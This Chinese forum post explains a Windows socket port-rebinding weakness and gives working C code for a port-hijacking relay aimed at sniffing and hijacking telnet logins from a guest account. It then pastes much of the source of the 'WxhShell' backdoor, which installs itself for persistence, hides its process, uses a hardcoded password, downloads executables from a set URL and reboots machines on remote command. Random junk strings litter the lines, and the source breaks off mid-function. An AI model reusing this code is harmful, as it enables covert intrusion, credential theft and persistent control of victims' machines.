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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: fS>W-  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ^IjKT  
ipQJn_:2  
  saddr.sin_family = AF_INET; #y&3`Nz3  
j_L 'Ztu3  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ?NGM<nK;7  
9Y&n$svB  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); z~L4BY@z  
M+gQN}BAr  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ;'`T  
[`Ol&R4k  
  这意味着什么?意味着可以进行如下的攻击: W% YJ.%I  
zQ(li9  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 AZ(["kh[  
);kO2 7dg  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 7Z0 )k9*  
qy`@\)S/5  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 k v,'9z  
`ihlKFX  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  `pn]jpW9  
ua/A &XQx  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ecA:y!N  
g:dw%h  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 "w*VyD  
z\pT nteO  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 NN\% X3ri"  
lf4-Ci*X  
  #include 05g U~6AF  
  #include D(Pd?iQIO  
  #include yc8iT`  
  #include    (*;b\h  
  DWORD WINAPI ClientThread(LPVOID lpParam);   we4e>)  
  int main() 8Focs p2  
  { X-|`|>3E  
  WORD wVersionRequested; $z1u>{  
  DWORD ret; 7m~+HM\  
  WSADATA wsaData; Uq<c+4)5  
  BOOL val; }y(1mzb  
  SOCKADDR_IN saddr; ~ k/'_1)c  
  SOCKADDR_IN scaddr; g;i>nzf  
  int err; %C" wUAY  
  SOCKET s; i~@e}=  
  SOCKET sc; y1p^ &9 U  
  int caddsize; "diF$Lj  
  HANDLE mt; `J|bGf#  
  DWORD tid;    "9!ln  
  wVersionRequested = MAKEWORD( 2, 2 ); WogJ~N,d53  
  err = WSAStartup( wVersionRequested, &wsaData ); VE+Q Y9(  
  if ( err != 0 ) { :XxsDD  
  printf("error!WSAStartup failed!\n"); BKPXXR  
  return -1; a9j f7r1  
  } w=vK{h#8  
  saddr.sin_family = AF_INET; fJBp,{0  
   +;c)GNQ)6:  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 a}|B[b  
R+Dx#Wn I  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ]{jdar^  
  saddr.sin_port = htons(23); Rb Jl;  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ` Xc~'zG  
  { )[|TxXz d  
  printf("error!socket failed!\n"); ?x7zYE,6  
  return -1; &W`."  
  } !f2f gX  
  val = TRUE; wS-D"\4/  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 )s5Q4m!  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) T?4MFx#  
  { $ jWe!]ASU  
  printf("error!setsockopt failed!\n"); 8)\Td tBf9  
  return -1; *v 1hMk  
  } u27K 0}  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; O68/Hf1W  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 0-M.>fwZ=  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 \b95CU  
.K]n<+zW  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) "_WOt Jr  
  { =+% QfuK  
  ret=GetLastError(); S@* lI2  
  printf("error!bind failed!\n"); lQj3# !1}  
  return -1; "#\\p~D/<  
  } :*u .=^  
  listen(s,2); 9gVu:o 1/  
  while(1) v^1_'P AXu  
  { k%YvJXL  
  caddsize = sizeof(scaddr); ShbW[*5  
  //接受连接请求 C ?JcCD2  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); XZde}zUWn  
  if(sc!=INVALID_SOCKET) piIj t  
  { VRQ'sn@  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); [0<N[KZ)  
  if(mt==NULL) T}d% XMXq  
  { P&@ 2DI3m  
  printf("Thread Creat Failed!\n"); i}"Eu< P  
  break; 1O3"W;SR<:  
  } _; /onM   
  } LI1OocY.]  
  CloseHandle(mt); }c|)i,bL  
  } 2XI%z4\)!  
  closesocket(s); UfIH!6Q  
  WSACleanup(); D@A@5pvS  
  return 0; 70hm9b-   
  }   VN6h:-&iY  
  DWORD WINAPI ClientThread(LPVOID lpParam) 0aj4.H*%  
  { gg $/  
  SOCKET ss = (SOCKET)lpParam; TR}ztf[e  
  SOCKET sc; mucKmb/  
  unsigned char buf[4096]; [hC-} 9  
  SOCKADDR_IN saddr; =kFZ2/P2t(  
  long num; u}Kc>/AF  
  DWORD val;  #~QkS_  
  DWORD ret; xc{$=>'G  
  //如果是隐藏端口应用的话,可以在此处加一些判断 E>>@X^ =  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   LgFF+z  
  saddr.sin_family = AF_INET; qM%l  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); {WJ9!pA!lk  
  saddr.sin_port = htons(23); x.W93e[]H  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ;U$Fz~rJ  
  { 4+46z|  
  printf("error!socket failed!\n"); 1~rZka[s  
  return -1; s\&qvL1D  
  } }\Kki  
  val = 100; <4UF/G)  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) H{qQ8 j)  
  { W C z+  
  ret = GetLastError(); ip.aM#  
  return -1; R8ZI}C1  
  } En-BT0o  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) (Klvctoy  
  { =, kH(rp2  
  ret = GetLastError(); >wx1M1  
  return -1; f4{O~?=  
  } tA;#yM;  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) /A$mP)}tz  
  { yvN;|R  
  printf("error!socket connect failed!\n"); gLp7<gx6  
  closesocket(sc); vu7F>{D  
  closesocket(ss); .$&_fUY  
  return -1; Rf*cW&}%  
  } o}QtKf)W  
  while(1) U4PnQ K,  
  { -hv<8bC~4  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 sUl/9VKl  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 A_nu:K-  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 jiAKV0lX W  
  num = recv(ss,buf,4096,0); RC{|:@]8  
  if(num>0) y*K]z  
  send(sc,buf,num,0); hf#[Vns  
  else if(num==0) LYM(eK5V  
  break; &.D#OnRh9  
  num = recv(sc,buf,4096,0); %#gHa  
  if(num>0) XNZW J  
  send(ss,buf,num,0); s,~)5nL  
  else if(num==0) >2kjd  
  break; Owt|vceT  
  } zNg8Oq&  
  closesocket(ss); v>ygr8+C,  
  closesocket(sc); [&_c.ti  
  return 0 ; #ArMX3^+w7  
  } d4(!9O.\  
w+ MCOAB  
!u0|{6U  
========================================================== 4<c #3]  
#@qd.,]2  
下边附上一个代码,,WXhSHELL ~m0l_:SF  
pXL@&]U+  
========================================================== b Ag>;e(  
j=>:{`*c  
#include "stdafx.h" ;~nz%L J  
svT1b'=\$I  
#include <stdio.h> ~:Pu Kx  
#include <string.h> LA\)B"{J  
#include <windows.h> .LQvjK[N  
#include <winsock2.h> j)A$%xUo  
#include <winsvc.h> v J `'x  
#include <urlmon.h> b!do7%]i  
`y%1K|Y=  
#pragma comment (lib, "Ws2_32.lib") fQ.{s Q$@h  
#pragma comment (lib, "urlmon.lib") |~V`Es +j  
'5V#sq;Z  
#define MAX_USER   100 // 最大客户端连接数 m`3Mev  
#define BUF_SOCK   200 // sock buffer g#Doed.30=  
#define KEY_BUFF   255 // 输入 buffer (=de#wh2]  
ZA;VA=)\8  
#define REBOOT     0   // 重启 XwerQwO=  
#define SHUTDOWN   1   // 关机 )U$]J*LI  
!}[cY76_  
#define DEF_PORT   5000 // 监听端口 ~sk{O%OI  
uoX] #<1J  
#define REG_LEN     16   // 注册表键长度 +WGL`RP  
#define SVC_LEN     80   // NT服务名长度 RMrrLT  
,sn/FT^; q  
// 从dll定义API +[2X@J  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);  fa=OeuI  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 3 J{hG(5  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ~YYg~6}vV  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); orU++,S4Pm  
\Gzo^w  
// wxhshell配置信息 Gb?O-z%8*  
struct WSCFG { $IdY(f:.:5  
  int ws_port;         // 监听端口 wlY6h4c  
  char ws_passstr[REG_LEN]; // 口令 E\ 'X|/$a  
  int ws_autoins;       // 安装标记, 1=yes 0=no ab5uZ0@  
  char ws_regname[REG_LEN]; // 注册表键名 _jhdqON6E  
  char ws_svcname[REG_LEN]; // 服务名 Vv]81y15Q;  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 q%^vx%aL\  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 MZ/PXY  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 `U~Y{f_!H  
int ws_downexe;       // 下载执行标记, 1=yes 0=no tWo MUp  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" "q'9-lk  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名  `LWZ!Q  
|ULwUi-r  
}; 1zz.`.R2U  
1!;}#m7v  
// default Wxhshell configuration #"Wh$x%  
struct WSCFG wscfg={DEF_PORT, GNv5yWQ@  
    "xuhuanlingzhe", jNO8n)a&p  
    1, C6"bGA  
    "Wxhshell", 4Pm+0=E   
    "Wxhshell", Aj22t   
            "WxhShell Service", WecJ^{g>r{  
    "Wrsky Windows CmdShell Service", *C0gpEf9S  
    "Please Input Your Password: ", C}~/(;1V=  
  1, Rlq6I?S+  
  "http://www.wrsky.com/wxhshell.exe", 7+h*&f3>  
  "Wxhshell.exe" wn$:L9"YN  
    }; 4-YXXi}  
N%2UL&w#B  
// 消息定义模块 Ya_4[vR<  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; /_,} o7@t~  
char *msg_ws_prompt="\n\r? for help\n\r#>"; _z3Hl?qk=  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 5xEk 7g.  
char *msg_ws_ext="\n\rExit."; iN}BMd.U  
char *msg_ws_end="\n\rQuit."; <_|H]^o  
char *msg_ws_boot="\n\rReboot..."; bnWKfz5  
char *msg_ws_poff="\n\rShutdown..."; `Al[gG?/!  
char *msg_ws_down="\n\rSave to "; .)wj{(>TJ  
/)ubyl]^p  
char *msg_ws_err="\n\rErr!"; $B iG7,[#  
char *msg_ws_ok="\n\rOK!"; rLzYkZ  
>QusXD"L>  
char ExeFile[MAX_PATH]; x_&m$Fh  
int nUser = 0; -}ebn*7i\  
HANDLE handles[MAX_USER]; I)-u)P?2x  
int OsIsNt; OoFQ@zE7%  
c0H8FF3  
SERVICE_STATUS       serviceStatus; ~'4:{xH  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; >:ZlYZ6sI  
GC3:ZpV`  
// 函数声明 [|sKu#yW  
int Install(void); b=#3p  
int Uninstall(void); ;5*)kX  
int DownloadFile(char *sURL, SOCKET wsh); !6wbg  
int Boot(int flag); G0^O7w^5  
void HideProc(void);  MRB>(}  
int GetOsVer(void); 3xW;qNj:!l  
int Wxhshell(SOCKET wsl); ;'Pi(TA)  
void TalkWithClient(void *cs); n ^T_pqV?X  
int CmdShell(SOCKET sock); TwZvz[u  
int StartFromService(void); jH*+\:UP-  
int StartWxhshell(LPSTR lpCmdLine); YLlw:jN  
}G8RJxy  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); c-INVA)  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); t;DZ^Z"{  
!d1}IU-h  
// 数据结构和表定义 Q7y6</4f  
SERVICE_TABLE_ENTRY DispatchTable[] = -S=Zsr\  
{ ]`D(/l'  
{wscfg.ws_svcname, NTServiceMain}, ^}2 ie|  
{NULL, NULL} Qa,^;hZWS  
}; !U"1ZsO)l  
(u]ajT  
// 自我安装 E(T6s^8  
int Install(void) xNNoB/DR  
{ uTRa]D_q  
  char svExeFile[MAX_PATH]; -5NP@  
  HKEY key; B[ f{Ys  
  strcpy(svExeFile,ExeFile); B;8YX>r  
I(8,D[G.m  
// 如果是win9x系统,修改注册表设为自启动 6(4o}Sv  
if(!OsIsNt) { YbC6&_  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { &DX9m4,y  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); #lyvb.;  
  RegCloseKey(key); NgKbf vt  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { %J `;  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); xDBEs*  
  RegCloseKey(key); F<?e79},`  
  return 0; I`44}oJ  
    } XM/P2=;  
  } GLb}_-|  
} ;G.m;5A  
else { g<s[6yA  
*@Z/L26s;=  
// 如果是NT以上系统,安装为系统服务 `4cs.ab  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); r'hr 'wZ  
if (schSCManager!=0) #R|M(Z">q  
{ laM0W5  
  SC_HANDLE schService = CreateService g1\4Jb  
  ( u[U~`*i*rA  
  schSCManager, do{#y*B/g!  
  wscfg.ws_svcname, 8w|j Z@  
  wscfg.ws_svcdisp, G'( %8\  
  SERVICE_ALL_ACCESS, 6|#^4D)  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , f8! PeQ?  
  SERVICE_AUTO_START, l;L&ijTQD  
  SERVICE_ERROR_NORMAL, oll~|J^sg  
  svExeFile, )_T[thf]  
  NULL, Sv-}w$  
  NULL, w\Q3h`.  
  NULL, !^ 6x64r  
  NULL, L{~L6:6An  
  NULL tc@U_>{  
  ); 5(MWgC1  
  if (schService!=0) gFJ& t^yL  
  { -e%=Mpq.  
  CloseServiceHandle(schService); fHf+!  
  CloseServiceHandle(schSCManager); t4?g_$>   
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); lN+NhPF  
  strcat(svExeFile,wscfg.ws_svcname); i^uC4S~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {  zUqiz  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); )dLESk  
  RegCloseKey(key); i{VjSWq  
  return 0; ja~b5Tf9  
    } @( 9#\%=  
  } #hd<5+$U}l  
  CloseServiceHandle(schSCManager); JBE'B Q@  
} /,5`#Gte_  
} >w9)c|  
eEn_aX  
return 1; bm1ngI1oI  
} 5v~Y>  
$'X*L e@k  
// 自我卸载 tZa)sbz  
int Uninstall(void) B>o\;)l3O  
{ vD) LRO Z  
  HKEY key; v%&f00  
1q~U3'l:$  
if(!OsIsNt) { !j4C:L3F  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { "JVz v U]  
  RegDeleteValue(key,wscfg.ws_regname); D +)6#i Y  
  RegCloseKey(key); S:vv*5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 8Mg4y1)RU  
  RegDeleteValue(key,wscfg.ws_regname); *^c4q|G.-  
  RegCloseKey(key); v !@/  
  return 0; ItKwB+my  
  } 1elcP`N1  
} 2O9dU 5b  
} -ihF)^"a  
else { lIzJO$8cM  
[p!C+ |rro  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); gKb4n Nt  
if (schSCManager!=0) ^Sy\<  
{ l$,l3  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 2t[c^J  
  if (schService!=0) g,y`[dr  
  { 9qXHdpb#g"  
  if(DeleteService(schService)!=0) {  2WE   
  CloseServiceHandle(schService); I6y&6g  
  CloseServiceHandle(schSCManager); yc]ni.Hz  
  return 0; 0 nWV1)Q0=  
  } rxa"ji!)  
  CloseServiceHandle(schService); h#]}J}si  
  } <mY`<(bc  
  CloseServiceHandle(schSCManager); <?qmB }Y  
} J-?\,N1R7  
} N>ct`a)BD/  
w,3`Xq@  
return 1; -#gb {vj  
} ZFW}Vnl  
{K3\S 0L  
// 从指定url下载文件 jI;bVG  
int DownloadFile(char *sURL, SOCKET wsh) //ZB B,[@  
{ GeHDc[7  
  HRESULT hr; >+vWtO 2  
char seps[]= "/"; :1Fm~'  
char *token;  h *%T2  
char *file; 7U.g4x|<  
char myURL[MAX_PATH]; kP;:s  
char myFILE[MAX_PATH]; (= !_ 5l  
XZ|"7as  
strcpy(myURL,sURL); n#J$=@  
  token=strtok(myURL,seps); ]; ^OY\,  
  while(token!=NULL) #(aROTV5a  
  { ` V^#Sb  
    file=token; bk6$+T=>  
  token=strtok(NULL,seps); ^Y'J0v2  
  } RX2= iO"  
"bf8[D  
GetCurrentDirectory(MAX_PATH,myFILE); n+Ag |.,|  
strcat(myFILE, "\\"); <*(~x esPS  
strcat(myFILE, file); n"FOCcTIs  
  send(wsh,myFILE,strlen(myFILE),0); g+k6pi*  
send(wsh,"...",3,0); ejr"(m(Xe  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); cWRB=`=qz  
  if(hr==S_OK) !+hX$_RT  
return 0; VpV w:Rh>  
else huKz["]z[  
return 1; p*npY"}v  
YSa:"A  
} 29qQ3M?  
uqQMS&;+,|  
// 系统电源模块 JyB>,t)  
int Boot(int flag) bLV@Ts  
{ 4uftx1o   
  HANDLE hToken; t&P5Zw*B  
  TOKEN_PRIVILEGES tkp; _)_XO92~  
*|E@ 81s#  
  if(OsIsNt) { [qZ4+xF,,  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); b$$XriD]  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); :T{or-  
    tkp.PrivilegeCount = 1; ~ml\|  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; FwW%@Y  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); \pzvoj7{  
if(flag==REBOOT) { vq5I 2  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) <M&]*|q>g%  
  return 0; E,6E-9  
} rk. UW  
else { \FKIEg+(2  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 6op\g].P  
  return 0; RDqC$Gu  
} /GeS(xzQ  
  } ZDDwh&h  
  else { sQ)4kF&,  
if(flag==REBOOT) { F`- [h )e.  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) kcOpO<oE  
  return 0; @B^'W'&C  
} ]yIy~V  
else { wlpbfO e/  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ):|)/ZiC'  
  return 0; ?Jr<gn^D  
} /N^+a-.Qd  
} 7J;.T%4 l  
o>*{5>#k'  
return 1; ]_pL79y  
} 5:PZ=jPR  
cq=R  
// win9x进程隐藏模块 (gmB$pwS  
void HideProc(void) ^7''x,I  
{ .XE]vo  
?#[K&$}  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); l2v}PALs  
  if ( hKernel != NULL ) K5ph x  
  { '9[_ w$~(  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); #rC/y0niH  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); \bsm#vY,  
    FreeLibrary(hKernel); ibAA:I,d  
  } gU%GM  
2?ednMoE  
return; >lj3MNSH  
} e5/_Vga  
.o8Gi*PEY  
// 获取操作系统版本 1k~jVC2VA  
int GetOsVer(void) %51pfuL  
{ ;8v5 qz  
  OSVERSIONINFO winfo; avz 4 &  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Cn<kl^!Q-  
  GetVersionEx(&winfo); 2X]\:<[4  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 8(I"C$D!k  
  return 1; 3TtW2h>M  
  else h P1|l  
  return 0; #.='dSj  
} gi6_la+  
K%k,-  
// 客户端句柄模块 4<Y?#bm'  
int Wxhshell(SOCKET wsl) gf=*m"5  
{ {h=Ai[|l4Q  
  SOCKET wsh; ?7+ 2i\L  
  struct sockaddr_in client; p[eRK .$!  
  DWORD myID; "<(~  
vuP1gem  
  while(nUser<MAX_USER) '8JaD6W9S  
{ 'YeJGzsJp  
  int nSize=sizeof(client); A^7!+1*K+  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 6{~I7!m"  
  if(wsh==INVALID_SOCKET) return 1; f1{ckHAY55  
l*u@T|Fc$  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 4jW{IGW  
if(handles[nUser]==0) *Tlv'E.M  
  closesocket(wsh); -5[GX3h0  
else ;$i'A&)OC  
  nUser++; )/JC.d#  
  } a=O!\J  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ivq4/Y] -X  
pDLo`F}A  
  return 0; >']H)c'2  
} 9<ayQ*  
7ou^wt+%  
// 关闭 socket iI1t P  
void CloseIt(SOCKET wsh) Ame%:K!t  
{ ^:j$p,0e*S  
closesocket(wsh); fjFy$NX&>  
nUser--; =jN]ckn  
ExitThread(0); 'zb7:[[7%  
} a? kQ2<@g  
uz#9w\="  
// 客户端请求句柄 cPbz7  
void TalkWithClient(void *cs) ZS+2.)A  
{ xlLS`  
cjXwOk1:s  
  SOCKET wsh=(SOCKET)cs; y ^\8x^Eg  
  char pwd[SVC_LEN]; UQ)}i7v  
  char cmd[KEY_BUFF]; hA8 zXk/'8  
char chr[1]; &}cie"\L  
int i,j; DbN'b(+  
Q  [{vU  
  while (nUser < MAX_USER) { F*4+7$E0B  
E'G>'cW;x  
if(wscfg.ws_passstr) { =-qsz^^a-  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); v`&Z.9!Tz^  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ob{pQx7  
  //ZeroMemory(pwd,KEY_BUFF); ^XM;D/Gp~  
      i=0; ]`prDw'  
  while(i<SVC_LEN) { m C Ge*V}  
0 *\=Q$Yy  
  // 设置超时 @2gMtf?<  
  fd_set FdRead; K5SO($  
  struct timeval TimeOut; YSgF'qq\  
  FD_ZERO(&FdRead); hbeC|_+   
  FD_SET(wsh,&FdRead); 8##jd[o&p~  
  TimeOut.tv_sec=8; ^U}0D^jDeE  
  TimeOut.tv_usec=0; o[#a}5Y  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); >gl.(b25C  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); P `"7m-  
kR|y0V {K*  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); eW0=m:6  
  pwd=chr[0]; /Hmo!"W`  
  if(chr[0]==0xd || chr[0]==0xa) {  B]7jg9/  
  pwd=0; ,k!a3"4+TJ  
  break; fR%8?6  
  } nQ\k{%Q  
  i++; %jk PrI  
    } }El_.@'T &  
!U_L7  
  // 如果是非法用户,关闭 socket l i-YkaP  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); O 0#Jl8  
} 9f,:j  
YW<2:1A|  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); [Jo TWouNU  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); WFP\;(YV  
h86={@Le  
while(1) { w|C~{  
aB^G  
  ZeroMemory(cmd,KEY_BUFF); t5h_Q92N  
Z<W6Avr  
      // 自动支持客户端 telnet标准   E 6: p  
  j=0; ^A`(  
  while(j<KEY_BUFF) { 2r,'4%G  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Gq/6{eRo\  
  cmd[j]=chr[0]; k 5D'RD  
  if(chr[0]==0xa || chr[0]==0xd) { ;L2bC3  
  cmd[j]=0; @'@6vC  
  break; SWpUVZyd  
  } \BXVWE|  
  j++; or}*tSKX  
    } de9l;zF  
|`wsKr'  
  // 下载文件 7-I>5 3@  
  if(strstr(cmd,"http://")) { VU9P\|c@<  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Cw $^w  
  if(DownloadFile(cmd,wsh)) \F~Cbj+'Nu  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); vc #oALc&  
  else t [hocl/6  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9 w1ONw8v  
  } /T[ICd2J  
  else { CDj Dhs  
e"#D){k#  
    switch(cmd[0]) { 4Z9wzQ>  
  ~+C?][T  
  // 帮助 DWQQ615i  
  case '?': { mndl~/  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); l-}5@D[  
    break; RJwIN,&1.  
  } $3[\:+  
  // 安装 /v4S@SQ+  
  case 'i': { yB%)D0  
    if(Install()) ]31XX=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Xe;(y "pR  
    else 8Ql'(5|T  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); bs EpET  
    break; W'h0Zg  
    } GA.bRN2CI2  
  // 卸载 AUsQj\Nm%  
  case 'r': { Fx5d@WNa>  
    if(Uninstall()) 6L9[U^`@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); d`uO7jlm  
    else v9m;vWp  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +\GZ(!~  
    break;  x9"4vp  
    } |qcFmy  
  // 显示 wxhshell 所在路径 2 BX GVo  
  case 'p': { f&|A[i>g  
    char svExeFile[MAX_PATH]; QhQ"OVFr#  
    strcpy(svExeFile,"\n\r"); 8`2<g0V2  
      strcat(svExeFile,ExeFile); ,G|aLBn  
        send(wsh,svExeFile,strlen(svExeFile),0); 5;8B!%b  
    break; \K~fRUo]=c  
    } rw[{@|)'z  
  // 重启 "%''k~UD 4  
  case 'b': { &4&33D  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); .#55u+d,  
    if(Boot(REBOOT)) ywynx<Wg  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Kt,yn A  
    else { 34wM%@D*c  
    closesocket(wsh); t-*|Hfp*^  
    ExitThread(0); F4E3c4 81  
    } I9un  
    break; aT:AxYn8  
    } Yz-JI=  
  // 关机 Fra>|;do  
  case 'd': { 76A>^Bs\/  
